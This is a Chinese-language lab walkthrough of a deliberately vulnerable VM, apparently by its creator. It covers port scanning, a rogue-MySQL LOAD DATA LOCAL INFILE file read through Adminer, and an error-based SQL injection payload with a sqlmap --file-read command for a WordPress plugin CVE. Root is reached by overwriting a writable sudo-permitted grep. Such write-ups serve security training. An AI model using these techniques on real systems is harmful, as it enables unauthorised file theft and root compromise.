初始訪問#
└─# rustscan -a `IP` -- -sCV -Pn -n
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
現代端口掃描器。
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
TreadStone 在這裡 🚀
[~] 配置文件預期位於 "/root/.rustscan.toml"
[!] 文件限制低於默認批量大小。考慮使用 --ulimit 增加。可能會對敏感伺服器造成損害
[!] 您的文件限制非常小，這會對 RustScan 的速度產生負面影響。使用 Docker 映像，或使用 '--ulimit 5000' 增加 Ulimit。
打開 192.168.56.62:22
打開 192.168.56.62:80
打開 192.168.56.62:3306
打開 192.168.56.62:8000
[~] 開始腳本
[>] 在 IP 192.168.56.62 上運行腳本 "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sCV -Pn -n"
根據腳本的複雜性，結果可能需要一些時間才能顯示。
[~] 開始 Nmap 7.95 ( https://nmap.org ) 於 2025-05-31 15:36 CST
NSE: 加載了 157 個掃描腳本。
NSE: 腳本預掃描。
NSE: 開始運行級別 1 (共 3 級) 掃描。
在 15:36 啟動 NSE
在 15:36 完成 NSE，經過 0.00 秒
NSE: 開始運行級別 2 (共 3 級) 掃描。
在 15:36 啟動 NSE
在 15:36 完成 NSE，經過 0.00 秒
NSE: 開始運行級別 3 (共 3 級) 掃描。
在 15:36 啟動 NSE
在 15:36 完成 NSE，經過 0.00 秒
在 15:36 啟動 ARP Ping 掃描
掃描 192.168.56.62 [1 個端口]
在 15:36 完成 ARP Ping 掃描，經過 0.05 秒 (共 1 個主機)
在 15:36 啟動 SYN 隱形掃描
掃描 192.168.56.62 [4 個端口]
發現 192.168.56.62 上的開放端口 22/tcp
發現 192.168.56.62 上的開放端口 80/tcp
發現 192.168.56.62 上的開放端口 3306/tcp
發現 192.168.56.62 上的開放端口 8000/tcp
在 15:36 完成 SYN 隱形掃描，經過 0.03 秒 (共 4 個端口)
在 15:36 啟動服務掃描
掃描 192.168.56.62 上的 4 個服務
在 15:36 完成服務掃描，經過 12.46 秒 (共 1 個主機上的 4 個服務)
NSE: 腳本掃描 192.168.56.62。
NSE: 開始運行級別 1 (共 3 級) 掃描。
在 15:36 啟動 NSE
在 15:36 完成 NSE，經過 2.60 秒
NSE: 開始運行級別 2 (共 3 級) 掃描。
在 15:36 啟動 NSE
在 15:36 完成 NSE，經過 0.13 秒
NSE: 開始運行級別 3 (共 3 級) 掃描。
在 15:36 啟動 NSE
在 15:36 完成 NSE，經過 0.00 秒
Nmap 掃描報告 192.168.56.62
主機正常，收到 arp 回應 (0.00074 秒延遲)。
於 2025-05-31 15:36:20 CST 掃描，持續 15 秒
端口 狀態 服務 原因 版本
22/tcp 開放 ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (協議 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
| 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
80/tcp 開放 http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Ubuntu 默認頁面：運行正常
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_ 支持的方法：GET POST OPTIONS HEAD
3306/tcp 開放 mysql syn-ack ttl 64 MariaDB 10.3.23 或更早版本 (未授權)
8000/tcp 開放 http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-open-proxy: 代理可能正在重定向請求
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_ 支持的方法：GET HEAD POST OPTIONS
|_http-generator: WordPress 6.8.1
|_http-title: NeonGrid 解決方案
MAC 地址: 08:00:27:DD:A7:DA (PCS Systemtechnik/Oracle VirtualBox 虛擬網卡)
服務信息: 操作系統: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: 腳本後掃描。
NSE: 開始運行級別 1 (共 3 級) 掃描。
在 15:36 啟動 NSE
在 15:36 完成 NSE，經過 0.00 秒
NSE: 開始運行級別 2 (共 3 級) 掃描。
在 15:36 啟動 NSE
在 15:36 完成 NSE，經過 0.00 秒
NSE: 開始運行級別 3 (共 3 級) 掃描。
在 15:36 啟動 NSE
在 15:36 完成 NSE，經過 0.00 秒
從 /usr/share/nmap 讀取數據文件
執行服務檢測。請在 https://nmap.org/submit/ 報告任何不正確的結果。
Nmap 完成：掃描 1 個 IP 地址 (1 個主機正常) 用時 15.70 秒
發送的原始數據包：5 (204B) | 接收：5 (204B)
開放了 22, 80, 3306, 8000 四個端口，80 和 8000 是 web，22 是 ssh，3306 是 Mysql
當然，其中 3306 端口雖然開放，但嘗試連接後發現是個 “煙霧彈”，連接不上。
80 - web#
用 dirsearch 能掃出來
/info.php
/adminer.php
再用 gobuster 配上 medium 字典深入掃描，又挖出了另一個
/reminder.php
reminder.php#
拿到一個用戶名 jimmy
網頁中間的圖片地址為：http://192.168.56.62/that-place-where-i-put-that-thing-that-time/1b260614-3aff-11f0-ac81-000c2921b441.jpg
我們來到這個路徑可以發現還有一個 creds 文件在 /etc/jimmy.txt
結合上下文，這 jimmy.txt 很可能就藏著 jimmy 用戶的密碼！看來，我們的核心目標就是要想辦法讀取這個文件了。
另外，頁面下方似乎還有個 SQL 注入。
不過，當你嘗試多輸入幾個單引號可以發現，無論奇數偶數都報錯，這可就不太符合常規了！一般情況單引號為奇數個才會報錯，而偶數則不會，所以這是我留的兔子洞。
但話說回來，通過 SQL 注入讀文件確實是個好思路，也許其他地方還有 “真” 注入點呢？
adminer.php#
接下來看看 /adminer.php。
Adminer 是一個輕量級的數據庫管理工具，通過它我們可以連接任意數據庫。然而，這個 Adminer 是最新版本，沒有已知的漏洞。在沒有數據庫憑據的情況下，我們暫時把它放到一邊，畢竟 “巧婦難為無米之炊” 嘛。
8000 - web#
掃描 8000 端口發現一個域名，wordpress.local，添加到 /etc/hosts 中再訪問。
可以發現就是最新版本的 wordpress，沒動什麼手腳。
有一篇文章給了提示，這個提示其實就對應了兩個利用方案。
mysqli.allow_local_infile = on 很有意思：
mysqli.allow_local_infile 是 PHP 中控制是否允許通過 LOAD DATA INFILE 語句從本地文件系統加載數據到 MySQL 數據庫的配置。這意味著，如果我們能控制數據庫連接，就可以利用這個特性讀取靶機上的任意文件，然後寫入到我們的數據庫裡！
思路清晰，立刻行動！我們可以在 Kali 攻擊機上配置一個 MySQL 數據庫，然後通過 Adminer 進行 “數據庫劫持”，將靶機的文件 “搬運” 過來。
首先，編輯 Kali 的 MySQL 配置文件 /etc/mysql/mariadb.conf.d/50-server.cnf，把 bind-address = 127.0.0.1 改為 bind-address = 0.0.0.0，這樣我們的數據庫就能對外開放連接了。然後啟動服務。
接著，在 Adminer 界面連接到我們 Kali 上的數據庫，
然後執行以下 SQL 命令：
-- 創建用於存儲數據的表
CREATE TABLE exploit (
data TEXT
);
-- 使用本地 infile 語法加載目標文件
LOAD DATA LOCAL INFILE '/etc/jimmy.txt' INTO TABLE exploit
FIELDS TERMINATED BY "\n";
-- 查詢結果
select * from exploit;
即可拿到密碼 HandsomeHU
詳細利用過程可以參考這篇文章：https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f
當然，這裡要 “劇透” 一下，最新版本 adminer 是不允許你這樣操作的，這裡能夠成功是因為我修改了源碼：$this->options(MYSQLI_OPT_LOCAL_INFILE,true)
上面是標準解法。為了降低難度，我還留了個後門 ——WordPress 插件存在 SQL 注入漏洞。
使用 wpscan 掃描可能會比較慢，但用 nuclei 很快出結果，還是非常好用的：
nuclei -u http://wordpress.local:8000
下載 CVE-2025-2011 POC，反復嘗試發現沒有用，這個 POC 是壞的。
└─$ python3 52285.py -u http://wordpress.local:8000
╔════════════════════════════════════════════════════════════════╗
║ CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder <3.6.2 ║
║ By datagoboom ║
╚════════════════════════════════════════════════════════════════╝
[*] 目標 URL: http://wordpress.local:8000
[+] 成功連接到目標
[*] 正在檢查目標是否易受攻擊...
[-] 目標似乎不易受攻擊
[*] 嘗試在瀏覽器中手動檢查：
http://wordpress.local:8000/wp-admin/admin-ajax.php?s=test%' AND
EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=D
ESC&sources=&action=depicter-lead-index
[-] 退出，因為目標似乎不易受攻擊
分析漏洞發現注入點是 admin-ajax.php?s=test*&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index
於是 sqlmap 一把梭。
這裡我本意沒想讓你 getshell，只需要利用 sql 注入讀文件就好了
sqlmap -u 'http://wordpress.local:8000/wp-admin/admin-ajax.php?s=t*&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index' --batch --file-read=/etc/jimmy.txt
所以說，條條大路通羅馬。當然，如果你能讀到 wp-config 文件，拿到數據庫密碼，再通過 Adminer 連上數據庫，修改 WordPress 管理員密碼進後台，那也是一條康莊大道：）
權限提升#
jimmy#
ssh 登錄 jimmy 用戶。你會發現環境變量被動了手腳，導致許多命令都無法直接執行，不過這倒難不倒我們，用絕對路徑執行命令就能繞過。解決方法也很多，比如自己 export PATH，或者直接刪掉 .bashrc 裡被修改的那一行，甚至直接刪掉 .bashrc 也行。
本地有兩個用戶：adminer 和 jimmy
在 wp-config 文件中找到 adminer 用戶密碼，當然還有 mysql 數據庫的密碼。
這裡有趣的地方是，wordpress 的 adminer 用戶和系統的 adminer 用戶密碼是重用的。
adminer#
adminer 可以無密碼執行 /usr/bin/grep
su adminer
adminer@Ximai:/var/www/wordpress$ sudo -l
Matching Defaults entries for adminer on Ximai:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
用戶 adminer 可以在 Ximai 上運行以下命令：
(ALL) NOPASSWD: /usr/bin/grep
adminer@Ximai:/var/www/wordpress$ sudo /usr/bin/grep ' ' /root/root.txt
抱歉，您被限制使用此命令。請改用 egrep。
這個 grep 顯然是被動手腳了：
jimmy@Ximai:/var/www/wordpress$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp:/snap/bin
jimmy@Ximai:/var/www/wordpress$ file /usr/bin/grep
/usr/bin/grep: ASCII text
jimmy@Ximai:/var/www/wordpress$ ls -l /usr/bin/grep
-rwxr-xrwx 1 root root 76 May 28 09:06 /usr/bin/grep
jimmy@Ximai:/var/www/wordpress$ cat /usr/bin/grep
echo '抱歉，您被限制使用此命令。請改用 egrep。'
jimmy@Ximai:/var/www/wordpress$
發現有寫權限，那就好辦了，cp /bin/bash /usr/bin/grep 覆蓋它即可。
結語#
這個靶機總體難度我覺得算是 easy to medium。Web 部分我留了兩個與數據庫 / SQL 相關的入口，難度都不大。當然，靶機裡冗餘的東西確實不少，需要你細心枚舉，多一些耐心來 “沙里淘金”。
提權部分則相對簡單，主要考查的是細心程度。大概就是這樣，希望我出的靶機能讓你有所收穫，也歡迎大家在評論區交流心得！